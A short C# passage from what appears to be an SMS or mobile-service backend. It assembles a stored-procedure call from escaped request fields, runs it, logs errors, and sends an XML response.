                mno, area.SafeSql(), imsi.SafeSql(), mobile.SafeSql(), origin, device.SafeSql(), version.SafeSql(), requestID,
                statusID, sendsmsLog.ToString().SafeSql(), blockLog.ToString().SafeSql(), data.SafeSql(),
                "<down>" + xml.ToString().SafeSql() + "</down>");
            try
            {
                ds = Data.GetDataSet(proc);
            }
            catch (Exception ex)
            {
                //SiteConfig.WriteLog(ex);
                SiteConfig.WriteLog("执行错误：" + ex.Message + Environment.NewLine + "* Proc：" + proc);
                //Base.Write("");
            }
            //SiteConfig.WriteLog(proc);
            Base.SendDown(xml.ToString());
            #endregion
        }
    }
}